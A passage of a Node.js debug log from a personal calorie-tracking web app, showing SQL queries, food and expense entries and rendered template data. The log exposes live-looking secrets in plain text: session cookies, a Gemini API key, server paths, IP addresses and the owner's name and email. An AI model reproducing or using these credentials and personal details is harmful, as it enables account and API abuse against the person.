    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T05:30:54.249Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T05:30:54.250Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T05:30:54.250Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T05:30:54.251Z server-connect:app Executing action step identify
2025-12-16T05:30:54.251Z server-connect:app options: { provider: 'security' }
2025-12-16T05:30:54.251Z server-connect:output identity: 1
2025-12-16T05:30:54.251Z server-connect:app Executing action step restrict
2025-12-16T05:30:54.251Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:30:54.251Z server-connect:app Executing action step identify
2025-12-16T05:30:54.251Z server-connect:app options: { provider: 'security' }
2025-12-16T05:30:54.251Z server-connect:output identity: 1
2025-12-16T05:30:54.251Z server-connect:app Executing action step restrict
2025-12-16T05:30:54.251Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:30:54.252Z server-connect:output restrict: undefined
2025-12-16T05:30:54.252Z server-connect:app Executing action step select
2025-12-16T05:30:54.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T05:30:54.253Z server-connect:app Executing action step identify
2025-12-16T05:30:54.253Z server-connect:app options: { provider: 'security' }
2025-12-16T05:30:54.254Z server-connect:output identity: 1
2025-12-16T05:30:54.254Z server-connect:app Executing action step restrict
2025-12-16T05:30:54.254Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:30:54.254Z server-connect:output restrict: undefined
2025-12-16T05:30:54.254Z server-connect:app Executing action step single
2025-12-16T05:30:54.254Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T05:30:54.256Z server-connect:output restrict: undefined
2025-12-16T05:30:54.256Z server-connect:app Executing action step single
2025-12-16T05:30:54.256Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T05:30:54.257Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T05:30:54.258Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T05:30:54.259Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T05:30:54.259Z server-connect:app Executing action step select
2025-12-16T05:30:54.259Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T05:30:54.260Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  }
]
2025-12-16T05:30:54.260Z server-connect:app Executing action step setvalue
2025-12-16T05:30:54.260Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T05:30:54.260Z server-connect:output var_total: 482
2025-12-16T05:30:54.261Z server-connect:app Executing action step setvalue
2025-12-16T05:30:54.261Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T05:30:54.261Z server-connect:output var_consumed: 20
2025-12-16T05:30:54.261Z server-connect:app Executing action step setvalue
2025-12-16T05:30:54.261Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T05:30:54.261Z server-connect:output var_deficit: 1918
2025-12-16T05:30:54.261Z server-connect:app Executing action step custom
2025-12-16T05:30:54.261Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T05:30:54.263Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '482',
    surplus_or_deficit: '1918',
    status_flag: 2
  }
]
2025-12-16T06:59:25.907Z server-connect:router Serving templateView /
2025-12-16T06:59:25.908Z server-connect:app Executing action step identify
2025-12-16T06:59:25.908Z server-connect:app options: { provider: 'security' }
2025-12-16T06:59:25.909Z server-connect:auth No login cookie found
2025-12-16T06:59:25.909Z server-connect:output identity: false
2025-12-16T06:59:25.909Z server-connect:app Executing action step restrict
2025-12-16T06:59:25.909Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T06:59:25.910Z server-connect:output restrict: undefined
2025-12-16T06:59:26.160Z server-connect:router Serving templateView /login
2025-12-16T06:59:26.161Z server-connect:app Executing action step identify
2025-12-16T06:59:26.161Z server-connect:app options: { provider: 'security' }
2025-12-16T06:59:26.161Z server-connect:auth No login cookie found
2025-12-16T06:59:26.161Z server-connect:output identity: false
2025-12-16T06:59:26.161Z server-connect:router Render template layouts/authentication
2025-12-16T06:59:26.161Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '159.203.58.199',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T06:59:26.160Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '159.203.58.199',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '159.203.58.199',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-16T06:59:26.947Z server-connect:router Serving templateView /
2025-12-16T06:59:26.947Z server-connect:app Executing action step identify
2025-12-16T06:59:26.947Z server-connect:app options: { provider: 'security' }
2025-12-16T06:59:26.947Z server-connect:auth No login cookie found
2025-12-16T06:59:26.947Z server-connect:output identity: false
2025-12-16T06:59:26.948Z server-connect:app Executing action step restrict
2025-12-16T06:59:26.948Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T06:59:26.948Z server-connect:output restrict: undefined
2025-12-16T06:59:29.982Z server-connect:router Serving templateView /login
2025-12-16T06:59:29.983Z server-connect:app Executing action step identify
2025-12-16T06:59:29.983Z server-connect:app options: { provider: 'security' }
2025-12-16T06:59:29.983Z server-connect:auth No login cookie found
2025-12-16T06:59:29.983Z server-connect:output identity: false
2025-12-16T06:59:29.983Z server-connect:router Render template layouts/authentication
2025-12-16T06:59:29.984Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '159.203.58.199',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T06:59:29.982Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '159.203.58.199',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
